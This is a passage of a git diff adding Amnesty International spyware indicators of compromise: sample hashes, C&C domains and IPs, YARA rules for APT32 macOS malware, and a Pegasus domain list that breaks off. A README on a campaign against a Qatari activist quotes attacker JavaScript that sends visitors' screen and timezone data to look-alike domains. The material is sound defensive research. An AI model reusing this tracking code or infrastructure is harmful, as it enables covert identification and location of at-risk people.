`land.rellecharlessper.com` and `art.guillermoespana.com` | +| **October 2019** | | +| Package Name | Danh sach nhan su | +| Dropper | b252a8d2ec5c7080286fe3f0ad193062f506b5c34c4c797f97717e396c0a22d5 | +| Payload | 9c14cffd79f863fec0a6c0ed337ea82a9044db09afda53b8ac2aef1d49f74f4f | +| Network Library | 5ed6b7b450ead2d0e69faa3069d1e0bd3a6852909092235f75087da0ca05462f | +| C&C | `tips.jasperpfeiffer.com` `land.rellecharlessper.com` and `art.guillermoespana.com` | +| **December 2019** | | +| Package Name | Don keu cuu cua gia dinh Le Nam Tra | +| Dropper | a890c88b6c64371242b4047830b9189b4546536c6b11576d0738f0ba1840ade | +| Payload | 0c41358adeea24d80b35bac4b4f60d93711e32e287343cb604e1fa79b5e5e465 | +| Network Library | 5ed6b7b450ead2d0e69faa3069d1e0bd3a6852909092235f75087da0ca05462f | +| C&C | `tips.jasperpfeiffer.com` `land.rellecharlessper.com` and `art.guillermoespana.com` | + +### Windows Samples + +| June 2019 | | +|-----------|--| +| Winword.exe (legitimate) | 6c959cfb001fbb900958441dfd8b262fb33e052342948bab338775d3e83ef7f7 | +| wwlib.dll | 148e647885712b69258967c5f8798966fb9b8ae24847dda8aeb880cb6f56b6da | +| C&C | `api.ciscofreak.com` | +| **April 2020** | | +| Winword.exe (legitimate) | 6c959cfb001fbb900958441dfd8b262fb33e052342948bab338775d3e83ef7f7 | +| wwlib.dll | acb33adf7429424170f63fa5490ed580cf502de4a7ef00e4b8c962425cd85052 | +| C&C | `node.podzone.org` | +| **July 2020** | | +| Winword.exe (legitimate) | 6c959cfb001fbb900958441dfd8b262fb33e052342948bab338775d3e83ef7f7 | +| wwlib.dll | 5cc8d52fcabfd35042336e095f1f78c2b2884e7826358f5385729cf45ce4d860 | +| Opera.exe (legitimate) | 71c3b9538a0f14a8ab67e579ecc4ce2b01e25507d8c07eaf46555e8f44181e37 | +| Opera.dll | a51fb048e5a2730bffd0fd43e3bdda4e931c9358254aff960ddf43526c768120 | +| C&C | `delicalo.dnsalias.net` | +| **November 2020 (2 emails)** | | +| Winword.exe (legitimate) | 6c959cfb001fbb900958441dfd8b262fb33e052342948bab338775d3e83ef7f7 | +| wwlib.dll | a574720e7b4f420098a0ac0055089000435439eb61ec6de2077ac0f782a506e9 | +| C&C | `coco.cechire.com` | + + +You can find the full list of indicators of compromise [here](https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam/indicators). diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/1.png b/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/1.png new file mode 100644 index 0000000..6a42100 Binary files /dev/null and b/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/1.png differ diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/2.png b/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/2.png new file mode 100644 index 0000000..e700ae0 Binary files /dev/null and b/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/2.png differ diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/3.png b/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/3.png new file mode 100644 index 0000000..2d3b5fa Binary files /dev/null and b/data/ioc/spyware/amnesty/2021-02-24_vietnam/img/3.png differ diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/README.md b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/README.md new file mode 100644 index 0000000..dcd2113 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/README.md @@ -0,0 +1,9 @@ +# Indicators of Compromise + +Indicators of compromise of the report [Click and Bait: Vietnamese Human Rights Defenders Targeted with Spyware Attacks ](https://www.amnesty.org/en/latest/research/2021/02/click-and-bait-vietnamese-human-rights-defenders-targeted-with-spyware-attacks/) + +Files: +* `domains.txt`: list of domains +* `ips.txt`: list of IP addresses +* `rules.yar`: YARA rules +* `sha256.txt`: SHA256 of samples diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/domains.txt b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/domains.txt new file mode 100644 index 0000000..e3915b1 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/domains.txt @@ -0,0 +1,10 @@ +ssl.arkouthrie.com +widget.shoreoa.com +s3.hiahornber.com +tips.jasperpfeiffer.com +land.rellecharlessper.com +art.guillermoespana.com +api.ciscofreak.com +node.podzone.org +delicalo.dnsalias.net +coco.cechire.com diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/ips.txt b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/ips.txt new file mode 100644 index 0000000..cb5c429 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/ips.txt @@ -0,0 +1,6 @@ +185.174.101.13 +185.157.79.134 +95.168.191.35 +45.76.106.146 +5.149.254.19 +103.114.161.122 diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/rules.yar b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/rules.yar new file mode 100644 index 0000000..50e8c26 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/rules.yar @@ -0,0 +1,62 @@ +rule apt32_macos_dropper { + meta: + author = "Amnesty Tech" + + strings: + $s1 = "setStartup" ascii + $s2 = "getSizeDataLoader" ascii + $s3 = "GET_LAUNCHNAME" ascii + $s4 = "GET_PROCESSNAME" ascii + $s5 = "getProcessnameRoot" ascii + $s6 = "getProcessnameUser" ascii + $s7 = "getProcessPathRoot" ascii + $s8 = "getLabelnameRoot" ascii + $s9 = "getLabelnameUser" ascii + $s10 = "stringFromHex" ascii + $s11 = "_b64_decode_ex" ascii + + condition: + (uint16(0) == 0xfacf or uint16(0) == 0xface) and 9 of them +} + +rule apt32_macos_backdoor_2018_encryption_key { + strings: + $key = { 63 49 2f 6e 22 00 10 fe 33 4f 2f c5 05 b2 11 03 ba 5b dd 02 } + $ccc = "CCCrypt" ascii + condition: + (uint16(0) == 0xfacf or uint16(0) == 0xface) and all of them +} + +rule apt32_macos_backdoor_2019_encryption_key { + meta: + report = "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + strings: + $key1 = { 9D 72 74 AD 7B CE F0 DE D2 9B DB B4 28 C2 51 DF 8B 35 0B 92 } + $key2 = {2c e4 25 29 5e 2a 20 40 9c a5 13 1e 61 1e 51 6f 2c b7 a7 7f } + $key3 = { 8b b2 c4 67 56 5c 63 42 8e f0 cf c5 f4 8d 87 ae 58 0c 5b a4 } + $ccc = "CCCrypt" ascii + condition: + (uint16(0) == 0xfacf or uint16(0) == 0xface) and $ccc and any of ($key*) +} + +rule apt32_macos_backdoor_2018 { + meta: + author = "Amnesty Tech" + + strings: + $s1 = "respondDownloadThreadP" ascii + $s2 = "checkProcessExist" ascii + $s3 = "setFristRandom" ascii + $s4 = "getInstalledTime" ascii + $s5 = "getSerialNumber" ascii + $s6 = "appendPathComponent" ascii + $s7 = "initFirstRandom" ascii + $s8 = "CFURLToString" ascii + $s9 = "GET_DOMAIN_CLIENT_INFO" ascii + $s10 = "getFirstRandom_Header" ascii + $s11 = "respondLoadLunaThread" ascii + + condition: + (uint16(0) == 0xfacf or uint16(0) == 0xface) and 9 of them + +} diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/sha256.txt b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/sha256.txt new file mode 100644 index 0000000..49d736b --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-02-24_vietnam/indicators/sha256.txt @@ -0,0 +1,15 @@ +952c16674bde3c16aa3935b3e01f3f0fb4cbac7ffa130143cbf6ccaa72733068 +d3a198e18f8c5e9ed54ed4959b471a0f15fbda7d4abf92b7726bc07723e46dd5 +ecb6186a5e722fa360ece37191589305858a0e176321c9339831f2884dcb0405 +1599fe6cc77764c17802cfde1ca77f091bb3ec2a49f6cab1c80ee667ea7c752b +b8567ce4d0595e6466414999798bcb1dfe01cc5ca1dd058bfc55f92033f0f3d8 +b252a8d2ec5c7080286fe3f0ad193062f506b5c34c4c797f97717e396c0a22d5 +9c14cffd79f863fec0a6c0ed337ea82a9044db09afda53b8ac2aef1d49f74f4f +5ed6b7b450ead2d0e69faa3069d1e0bd3a6852909092235f75087da0ca05462f +a890c88b6c64371242b4047830b9189b4546536c6b11576d0738f0ba1840aded +0c41358adeea24d80b35bac4b4f60d93711e32e287343cb604e1fa79b5e5e465 +5ed6b7b450ead2d0e69faa3069d1e0bd3a6852909092235f75087da0ca05462f +148e647885712b69258967c5f8798966fb9b8ae24847dda8aeb880cb6f56b6da +acb33adf7429424170f63fa5490ed580cf502de4a7ef00e4b8c962425cd85052 +5cc8d52fcabfd35042336e095f1f78c2b2884e7826358f5385729cf45ce4d860 +a574720e7b4f420098a0ac0055089000435439eb61ec6de2077ac0f782a506e9 diff --git a/data/ioc/spyware/amnesty/2021-05-28_qatar/README.md b/data/ioc/spyware/amnesty/2021-05-28_qatar/README.md new file mode 100644 index 0000000..51a55b0 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-05-28_qatar/README.md @@ -0,0 +1,72 @@ +# Fingerprinting Campaign Targeting Malcolm Bidali + +On the 4th of May 2021, Qatar’s state security services forcibly disappeared the Kenyan labour rights activist Malcolm Bidali. Migrant-Rights.org, FairSquare, Amnesty International, Human Rights Watch, and the Business & Human Rights Resource Centre [are calling on Qatari authorities to immediately reveal his whereabouts and explain why he has been detained](https://www.amnesty.org/en/latest/news/2021/05/activist-malcolm-bidali-in-solitary-confinement-in-qatar/). If he has been detained for his activism he should be released immediately and unconditionally. + +Malcolm Bidali, 29, is a security guard in Qatar, blogger and activist, who has been vocal about the plight of migrant workers like himself, and has written using a pseudonym Noah for a number of online platforms. + +A few days before his disappearance, someone replied to a tweet from Malcolm's Twitter account [@NoahArticulates](https://twitter.com/noaharticulates) with a link to what appeared to be a Human Rights Watch video. This link has been used in an attempt to gather technical information which may have contributed to his identification or geolocation. Amnesty International's Security Lab identified two more domains related to this campaign which may have been used in the same way. + +## Initial Tweet + +On the 26th of April, the Twitter account @MukhbatQatar replied to @NoahArticulates with a tweet that included a link to a domain mimicking YouTube: `https://youl[.]tube/watch?v=Gt4tqJLiOT0&t=s17` + +![](tweet.png) + +The link shared with Malcolm Bidal loads a YouTube video by Human Rights Watch about labor rights in Qatar. + +![](youltube.png) + +Logs from Malcolm’s visit to this decoy page might have allowed the attackers to obtain his IP address, which could have been used to identify and locate him. + +## More Domains + +While investigating this link, Amnesty International's Security Lab has identified two additional domains related to this campaign. + +The same Twitter account @MukhbatQatar has shared a link to the domain `https://twittre[.]co/`with another Twitter user. Using the following JavaScript code (as seen on May 21st), this website collected information about a visitor before redirecting to a legitimate tweet: + +```js +$.post('https://twittre[.]co/googleanalytics.js', { + action: "[REDACTED]", + widthScreen: $(window).width(), + heightScreen: $(window).height(), + TimeUser: parseInt((new Date().getTime() / 1000).toFixed(0)), + TimeZone: Intl.DateTimeFormat().resolvedOptions().timeZone, + success:function(response){ + window.location.href = "https://twitter.com/[REDACTED]"; + }, + }, function (data) { + }); +``` + +This code sends the screen size, system time and timezone to another page likely recording visits, probably along with the IP address. + +A second domain with a similar infrastructure, `twitt-er[.]app`, uses the exact same code: + +```js +$.post('https://twitt-er[.]app/statistics', { + action: 'm', + widthScreen: $(window).width(), + heightScreen: $(window).height(), + TimeUser: parseInt((new Date().getTime() / 1000).toFixed(0)), + TimeZone: Intl.DateTimeFormat().resolvedOptions().timeZone, +}, function (data) { + window.location.href = 'https://twitter.com/[REDACTED]'; +}); +``` + +We have not seen this last domain actively distributed, but we noticed URIs redirect to tweets from other Qatari citizens. + +All three of these domains were registered between March and May 2021 using the Njalla registration service, and hosted on separate Digital Ocean servers. + +## Indicators of compromise + +Here are the domains and IP addresses used in this campaign: + +``` +youl[.]tube +twittre[.]co +twitt-er[.]app +138.197.103.227 +128.199.212.166 +161.35.100.139 +``` diff --git a/data/ioc/spyware/amnesty/2021-05-28_qatar/domains.txt b/data/ioc/spyware/amnesty/2021-05-28_qatar/domains.txt new file mode 100644 index 0000000..51e57ec --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-05-28_qatar/domains.txt @@ -0,0 +1,3 @@ +youl.tube +twittre.co +twitt-er.app diff --git a/data/ioc/spyware/amnesty/2021-05-28_qatar/ips.txt b/data/ioc/spyware/amnesty/2021-05-28_qatar/ips.txt new file mode 100644 index 0000000..56d8008 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-05-28_qatar/ips.txt @@ -0,0 +1,3 @@ +138.197.103.227 +128.199.212.166 +161.35.100.139 diff --git a/data/ioc/spyware/amnesty/2021-05-28_qatar/tweet.png b/data/ioc/spyware/amnesty/2021-05-28_qatar/tweet.png new file mode 100644 index 0000000..0d761a3 Binary files /dev/null and b/data/ioc/spyware/amnesty/2021-05-28_qatar/tweet.png differ diff --git a/data/ioc/spyware/amnesty/2021-05-28_qatar/youltube.png b/data/ioc/spyware/amnesty/2021-05-28_qatar/youltube.png new file mode 100644 index 0000000..17a5e97 Binary files /dev/null and b/data/ioc/spyware/amnesty/2021-05-28_qatar/youltube.png differ diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/README.md b/data/ioc/spyware/amnesty/2021-07-18_nso/README.md new file mode 100644 index 0000000..2f83cb9 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/README.md @@ -0,0 +1,16 @@ +# NSO Group Pegasus Indicator of Compromise + +This repository contains network and device indicators of compromised related to NSO Group's Pegasus spyware. These indicators are a result of multiple investigations by the Amnesty International Security Lab and other partners. Additional technical information was collected as part of a collaborative investigation, the Pegasus Project coordinated by [Forbidden Stories](https://forbiddenstories.org/) and involving a global network of investigative journalists. + +Amnesty International has released a [Technical Methodology report](https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/) which outlines how to use these indicators to hunt for Pegasus and other mobile spyware products. The Amnesty International Security Lab is also releasing an open-source tool, the [Mobile Verification Toolkit (MVT)](https://github.com/mvt-project/mvt). MVT can be used with the the pegasus.stix2 indicators to check a devices for potential signs of compromise with Pegasus spyware. + +These indicators include: +* `domains.txt`: list of all Pegasus-related domains, with sub-files: +* `v2_domains.txt`: list of Pegasus Version 2 infrastructure. These domains were identifed and published previously by Citizen Lab +* `v3_domains.txt`: list of Pegasus Version 3 infrastructure +* `v4_domains.txt`: list of Pegasus Version 4 infrastructure +* `v4_validation_domains.txt`: list of Pegasus Version 4 validation/URL shortener domains +* `emails.txt`: list of iCloud accounts used for exploiting zero-click vulnerabilities in iMessage and other Apple apps +* `files.txt`: list of suspicious files +* `pegasus.stix2`: [STIX v2](https://oasis-open.github.io/cti-documentation/stix/intro.html) file containing IOCs that can be used with MVT +* `processes.txt`: list of Pegasus-related process names identified on compromised phones diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/domains.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/domains.txt new file mode 100644 index 0000000..b504b55 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/domains.txt @@ -0,0 +1,1438 @@ +123tramites.com +14-tracking.com +1minto-start.com +24-7clinic.com +301-redirecting.com +365redirect.co +3driving.com +456h612i458g.com +7style.org +800health.net +911hig11carcay959454.com +aalaan.tv +accomodation-tastes.net +accountant-audio.com +accountcanceled.com +accountnotify.com +accountsections.com +accountsecurities.org +accounts.mx +activate-discount.com +active-folders.com +actorsshop.net +actu24.online +add-client.com +additional-costs.com +addmyid.net +addresstimeframe.com +adeal4u.co +ad-generator.net +adjust-local-settings.com +adjustlocalsettings.net +adscreator.net +adsload.co +adsmetrics.co +ad-switcher.com +advert-time.com +advert-track.com +afriquenouvelle.com +agilityprocessing.net +aircraftsxhibition.com +ajelnews.net +akhbara-aalawsat.com +akhbar-aliqtisad.com +akhbar-almasdar.com +akhbar-arabia.com +akhbar-islamyah.com +akhbarnew.com +al7erak247.com +al7eraknews.com +alawaeltech.com +albumphotopro.biz +alignmentdisabled.net +alive2plunge.com +allafricaninfo.com +allbeautifularts.com +alldaycooking.co +allergiesandcooking.com +allfadiha.co +alljazeera.co +allladiesloveme.com +all-sales.info +allthecolorsyoulike.com +allthegamesyouneed.com +allthemakeupyouneed.com +allthesongsyoulike.com +alluneed4home.net +al-nusr.net +alpharythme.com +alrainew.com +al-taleanewsonline.net +android-core.org +android-updates.net +apiapple.com +apigraphs.net +apiwacdn.com +appleleaveit.co +applicationcreation.net +appointments-online.com +appsgratis.com.mx +appsjuegos.com.mx +arabia-islamion.com +arabnews365.com +arab-share.com +arabworld.biz +arabworldnews.info +a-redirect.com +a-resolver.com +around-theglobe.co +arrowowner.com +ar-tweets.com +asrararabiya.co +asrararablya.com +asrarrarabiya.com +assembled-battery.com +atlaslions.info +audienceflake.com +auditorcast.com +authenticangry.com +authenticated-origin.com +authlovebirth.com +autodiscount.info +autoredirect.net +avocadofight.com +av-scanner.com +awardpractice.com +awizo.info +axis-indication.net +babies-bottles.com +bahrainsms.co +balancewreckpoint.com +banca-movil.com +bankportal.net +baramije.net +bargainservice.online +bbc-africa.com +bdaynotes.com +beanbounce.net +beautifulhousesaroundme.com +becomeiguana.com +beethoventopsymphonies.com +behindaquarium.com +benjamin-taganga.info +bestadventures4u.com +bestcandyever.com +bestday-sales.com +bestfoods.co +bestfriendneedshelp.com +bestheadphones4u.com +besthotelsaroundme.com +bestperfumesnow.com +bestpresents4all.net +bestsalesaroundme.com +beststores4u.com +bestsushiever.com +betterapplesearch.com +better-deal.info +betterhandsblack.com +bicyclerentalnow.com +biggunsarefun.com +bigseatsout.net +billednorth.com +birdbathmorning.com +biscuit-taste.net +bitanalysis.net +bitfadepens.com +bitforeat.net +bl33pon6373.com +blackberry.org.mx +black-bricks.net +blackwhitebags.com +blindlydivision.com +blockedsituation.net +blogreseller.net +boldconclusion.com +booking-tables.com +bottlehere.com +boxes-mix.net +boysrbabies.co +brand-tech.net +breakfastisgood.com +breaking-extranews.online +breakingnewsasia.com +breaking-news.co +breakthenews.net +br-hashtags.com +brighttooth.net +brownandblueeyes.com +browser-update.online +br-travels.com +bubblesmoke.net +bubblesweetcake.com +buildingcarpet.com +buildurlife.net +buildyourdata.com +bulbazaur.com +bulksender.info +bulktheft.com +bulk-theft.net +bullgame.net +bunchi.club +bundlestofear.com +businesssupportme.com +business-today.info +bussybeesallover.com +bustimer.net +butterdogchange.com +buymanuel.co +buypresent4me.net +bytlo.com +cablegirls.net +calculatesymbols.com +calendarsapp.com +candlealbum.com +carpetdignity.com +carrefour-des-affaires.com +cars-to-buy.com +cartsafer.com +cashandlife.com +cashtowebmail.com +casia-news.info +catbrushcable.com +catfoodstorage.net +catsndogsproducts.com +cdnupdateweb.com +cdnwa.com +celebrateyourdaynow.com +cell-abonnes.com +cell-mcel.info +cellphone-inside.org +cellphonesprices.com +cellular-updates.com +cellularupdates.info +cellular-updates.online +centersession.com +centrasia-news.com +changesstarted.net +chatresponses.com +cheapapartmentsaroundme.com +cheapcardonline.com +cheaphostingtoday.com +cheapmotelz.net +cheapsolutions4u.com +cheaptransporting.net +checkboxcart.com +checkboxfee.com +checkinonlinehere.com +check-my-internetspeed.com +chickenwaves.com +chistedeldia.mx +chocolateicecreamlovers.com +chocollife.me +chormnet3.com +chubaka.org +classic-furnitures.com +classstylemap.com +cleanmiddle.com +clickrighthere.online +clicktrack247.com +clients-access.com +clockmarkcoffee.com +closefly.com +cloudads.net +cloudbiggest.com +clubloading.net +clubmovistar.com +clubsforus.net +cnn-africa.co +coffecups.online +coffee2go.org +colorfulnotebooks.com +colorsoflife.online +columbus-parking.com +companybreakfast.net +computer-set.com +com-reports.net +conditionalcell.com +conference-ballroom.com +confusedmachine.com +connecting-to.com +contacting-customer.com +content-blocking.net +contentsbycase.com +convertedversion.com +cookiescom.com +cookiesoutthere.com +coolasiankitchen.com +coolbbqtools.net +coolmath4us.net +cool-smartphone-apps.com +cornclean.com +cottondecay.com +countrytrips.net +coupedumondepro.com +couponshops.info +cozmo-store.net +cpr-appointments.com +crimebackfire.com +crosslocated.net +crowndecoration.net +crownsafe.net +cryptocurrecny.com +cryptokoinz.com +cryptopcoinz.com +csomagodjott.com +cssgraphics.net +cupscars.net +curiousrabbitgame.com +currentscan.net +currentwestpeople.com +daily-sport.news +damanhealth.online +dancersing.net +dancinglife.co +dashboardprompt.com +databasemeans.net +data-formula.com +deadwordsstory.com +deal4unow.com +dearlegendseed.com +delivery-24-7.com +dental-care-spa.net +deportesinfo.com +designednetwork.com +destinytool.net +detailrush.net +deter-individuals.com +devicer.co +dhcpserver.net +diagram-shape.com +diaspora-news.com +diningip.com +dinneraroundyou.com +directbegins.com +directlyforuse.com +directurl-loading.com +discountads.net +discountmarkets.info +discountstores.info +discoveredworld-news.com +displaytag.net +dns-1.co +dns-analytics.com +dnsclocknow.com +dns-direct.net +dnslogs.net +dnsmachinefork.com +dnsprotector.net +dnsroof.com +dns-upload.com +documentpro.org +dogfoodstorage.net +dogopics.com +doitformom.com +doitforthefame-now.com +do-itonyour-own.com +domain-control.net +domainloading.net +domainport.net +domain-redirect.com +domain-resolver.net +domain-routing.com +domainsearching.net +domain-security.org +domains-resolver.net +domesticwindow.com +donateabox.co +donateaflower.com +donateyouroldclothes.net +done.events +donefordeal.com +doorcoffeebrown.com +dotroomeight.com +dowhatyouneed.com +downgradeproduct.com +dramatic-challenge.com +driventicket.com +eardooraround.com +earsstrawsfive.com +easybett.online +easy-pay.info +ecommerce-ads.org +economic-news.co +editorscolumn.net +effectivespeech.net +egov-online.com +egov-segek.info +egov-sergek.info +ehistorybooks.com +elementscart.com +eliminateadjust.com +elitecarz.net +e-loading.biz +eltiempo-news.com +email-plans.com +emiratesfoundation.net +emonitoring-paczki.pl +energy-dispatch.net +enoughtoday.org +entertainmentinat.com +entire-cases.com +e-prokuror.info +equal-gravity.com +erty.online +estatearea.net +e-sveiciens.com +eura-cell.com +eurasianupdate.com +eurosportnews.info +event-reg.info +everycolor-inside.com +everyuse.org +exchangenames.net +exchangenerate.com +ex-forexlive.com +existingpass.com +exoticsendurance.com +expired-getway.net +expiredsession.com +expiringdate.com +exploreemail.net +extend-list.net +externalprivacy.com +externaltransfers.com +extractsight.com +extrahoney.net +eyestoip.com +eyesunderspray.com +ezdropshipping.net +fabric-shops.com +facebook-accounts.com.mx +face-image.com +fadewallwine.com +fadi7apress.com +fallround.com +fallsjuice.com +familyabroad.net +fantastic-gardens.com +fashioncontainer.net +fashion-live.net +fashion-online.net +fashionpark.info +fastdirect.net +fastfixs.net +fatpop.net +fb-accounts.com +fbsecurity.co +feature-publish.net +feelbonesbag.com +feeltrail.com +femmedaffaire.com +fetchlink.net +fiestamaghreb.com +files-downloads.com +filingwarranty.com +financecomments.net +findavoucher.online +findgoodfood.co +findgroupon.com +finditout-now.com +findmyass.org +findmyfriendsnow.com +findmylunch.org +findmymind.co +findmyplants.com +findouthere.org +firebulletfan.com +fishingtrickz.com +fitness-for-ever.com +flashobligation.com +flashtraininggoal.com +flights-report.com +flights-todays.com +flying-free.online +flynewfries.com +fofopiko.org +foodeveryhour.com +foodforyou.info +foodiez.online +forgetjustit.com +formatpainter.net +formattingcells.com +forward5costume.com +forward-page.com +foto-top.info +foudefoot.live +free247downloads.com +freedominfo.net +freelancers-team.org +free-local-events.info +freeshoemoon.com +freshandsoftbread.com +freshsaladtoday.com +functionalcover.com +fundum8430.com +funinat.com +funinthesun4u.com +funintheuk.com +funnytvclips.com +fwupdating.com +gadgetproof.net +gadgetsshop.info +gate-sync.net +gdfr.online +gearstereotype.com +getagift.info +getoutofyourmind.com +getphotosinstant.net +getpoints.net +getspeednows.com +gettingchances.com +gettingurl.com +girlimstill.com +girlsyoulike.com +glassesofwine.com +glasstaken.com +glittercases.net +globalcoverage.co +globalnews247.net +global-redirect.net +globalsupporteam.com +golf-news.live +goodcookingonline.com +goodflowersinside.com +good-games.org +goodthoughts4u.com +googleplay-store.com +goroskop.co +gossipsbollywoods.com +gostatspro.com +go-trip.online +greatcitymore.com +greenbusnoise.com +greensmallcanvas.com +greenwatermovement.com +growstart.net +guardnotes.com +gulfca.net +gulf-financials.com +gulf-news.info +gumclockberry.com +hairdresseraroundme.com +halal-place.com +handcraftedformat.com +handcreamforyou.com +handymanwood.com +happiness4us.com +hardthinmetal.com +hatsampledc.com +hdsoccerstream.com +health-club.online +healthyguess.com +healthykids-food.com +hearsmugglergarden.com +heavy-flood.com +hellomydaddy.com +hellomymommy.com +highclassdining.net +hillsaround.com +hitrafficip.com +hmizat.co +holdingspider.com +holdmydoor.com +holdstory.com +holecatorange.com +holiday4u.work +holiday-sun.net +homeishere.co +homemadecandies.net +hona-alrabe3.com +horsefingercoffee.com +host-one-more.com +host-redirect.net +hotelsauto.co +hotels-review.org +hotelstax.co +hotelsurvey.info +hothdwallpaperz.com +hotinfosource.com +hot-motors.com +housesfurniture.com +housing-update.com +howisurday.com +howtoexplorebirds.com +howtomakeavocadotoastandegg.com +hracingtips.com +htmlmetrics.com +htmlstats.net +httpaccess.com +humandiven.com +humblebenefit.com +hundredsofdesigns.net +icecreamlovesme.com +icloudcacher.com +icrcworld.com +ideas-telcel.com.mx +igiheonline.com +ikomek.info +ilovemybeatifulnails.com +ilovemymilf.com +in2date.com +inbox-messages.net +income-tax.online +indrive.info +industry-specialist.com +ineediscounts.com +info24.live +infoquiz.net +infospotpro.com +infospress.com +insertfilters.net +insta-foto.net +instangram.com.mx +internetmobilespeed.com +intim-media.net +investigationews.com +investormanage.net +in-weather.com +ipjackets.com +ipurlredirect.com +islamic-news-today.com +islamiyaat.com +islam-today.info +islam-world.net +istgr-foto.com +itsthebrowser.com +iusacell-movil.com.mx +iwantitallnow.com +jaimelire.net +jeeyarworld.com +judgeauthority.com +just-one-left.com +kaidee.info +karbalaeyat.com +kaspi-payment.com +keepiptext.com +keepthiseasy.com +kenyasms.org +keyindoors.com +keynotepalm.com +khaleejtimes.online +khilafah-islamic.com +kingdom-deals.com +kingdom-news.com +klientuserviss.com +knowingfun.com +knowseminar.com +koramaghreb.com +kra.center +kurjerserviss.com +labonneforme.net +landflatheart.com +landstofree.com +laptop-parts.org +last-chainleash.net +latest-songs.com +lawlowvat.net +layerprotect.com +layoutfill.com +leadersnews.org +leavehomego.com +leggingsjustforyou.com +legsfriesears.com +legyelvodas.com +legyelvodas.net +leleader.org +leprotestant.com +lesbonnesaffaires.online +lesportail.biz +letyoufall.com +levelsteelwhite.com +liam-ryan.co +license-updater.com +lifedonor.net +lifenoonkid.com +like-the-rest.com +limitedfeature.com +link-crawler.com +linking-page.com +link-scan.net +linksnew.info +littlefrogalarm.com +live-once.net +lizzardsnail.com +loading-ads.net +loading-domain.com +loading-images.com +loadingpage1.net +loadingpage4.net +loading-page.net +loading-pag.net +loading-url.net +loadingurl.net +loadthatpage.com +localgreenflowers.com +login-service.net +loginverify.net +loisiragogo.com +lonely-place.com +looking-for-two.com +lookitupnow.website +looklifewhite.com +look-outsidenow.com +loschismescalientes.com +losnegocios.biz +lost-n-found.net +loveandhatenow.com +lowervalues.com +maghrebfoot.com +maghrebfunny.biz +magicalipone.com +mailappzone.com +maingreatessay.com +mainredirecter.com +mamba-live.com +managedsnap.com +management-help.com +managingincluded.com +mangoutlet.net +manoraonline.net +manydnsnow.com +maphonortea.com +mapupdatezone.com +martinipicnic.com +massagetax.co +maymknch2026.co +mcel.info +mcel-update.com +mealrentyard.com +meanspursuit.com +medicalcircle.net +medical-updates.com +megacenter.info +megaticket.info +mercedesbenz-vip.com +merchant-businesses.com +mergeandcenter.com +methodslocal.com +mgifweb.com +mideast-today.com +miles-club.com +miralo-rapidamente.com +mirrorgossip.com +mixershake.net +mixsinger.com +mobilebrowsing.net +mobilephonesme.com +mobile-softs.com +mobiles-security.net +mobile-update.online +mobile-updates.info +mobileweatherweb.com +mobi-up.net +modifytimezone.net +moh-followup.com +moh-online.com +monawa3ate.org +mondaymornings.co +moneycheesecolor.com +moneycoincurrency.com +moneydigitalcurrency.com +moneyxchanges.com +moregatesthere.com +morning-maps.com +mosque-salah.com +mosque-salah.net +mosquesfinder.com +motiontastebad.com +motivation-go.com +motordeal.info +movie-tickets.online +moyfoto.net +mozillaname.com +moz-noticias.com +mozsafety.com +m-resume.com +muftyat.com +multiplecurrencies.com +music-electric.org +music-headphones.org +muslim-world.info +muzicclips.com +muziclovers.org +mybrightidea.co +mydailycooking.net +mydarkarms.com +myfiles.photos +myfreecharge.online +myfundsdns.com +mygreathat.com +mygummyjelly.com +myheartbuild.com +mykaspi.com +mylogfrog.com +mylovelypet.net +mymanagement-service.com +mymensaje-sms.com +mymobile-cell.com +mynewbesttime.com +mypostservice.online +my-privacy.co +mysadaga.com +myseesea.com +myself-dns.com +myshoesforever.com +myshop4u.net +mystulchik.com +mysuperheadphones.co +myukadventures.com +mz-vodacom.info +nation24.info +nationalleagues.net +nation-news.com +natural-ice.com +navywalls.com +nbrowser.org +nerdtvfan.com +net-protector.com +netstatistics.net +netvisualizer.com +network190.com +network-bots.com +networkinfo.org +networkingloading.com +networkingproperty.com +neutralpages.com +neverwayneck.com +newandfresh.com +newandroidapps.net +newarrivals.club +newcooking.org +newdailycoupons.com +newenvelope.net +newipconfig.com +newip-info.com +newmodel.online +newnhotapps.com +newredirect.net +news-alert.org +newscurrent.info +newsdirect.online +news-flash.net +news-gazette.info +news-news.co +newsofficial.info +newsofgames.com +newsofthemoment.net +newsportal24.online +newtarrifs.net +newworld-news.com +nicevibezaction.net +nightevents.info +nightscloudwant.com +nnews.co +noextramoney.com +noloveforyou.com 